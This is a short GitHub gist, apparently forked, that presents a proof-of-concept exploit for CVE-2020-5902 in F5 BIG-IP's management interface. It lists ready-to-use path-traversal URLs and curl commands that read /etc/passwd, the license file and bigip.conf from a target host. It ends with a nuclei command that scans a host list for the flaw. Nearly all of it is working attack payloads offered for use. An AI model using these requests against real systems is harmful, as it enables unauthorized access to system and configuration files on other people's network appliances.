Skip to content

Instantly share code, notes, and snippets.

@carlton0521

carlton0521/CVE-2020-5902.md

Forked from cihanmehmet/CVE-2020-5902.md
Created March 11, 2021 12:47
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save carlton0521/2d7ebbc0d077eb680aa78fc52ffa3550 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save carlton0521/2d7ebbc0d077eb680aa78fc52ffa3550 to your computer and use it in GitHub Desktop.
Download ZIP
BIGIP CVE-2020-5902 Exploit POC
Raw
CVE-2020-5902.md

🔸 BIGIP CVE-2020-5902 Exploit POC

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

🎯 Manuel POC

curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
curl -sk 'https://{IP}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

📜 Nuclei Detect CVE-2020-5902

https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/CVE-2020-5902.yaml

nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -l https.txt

image

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment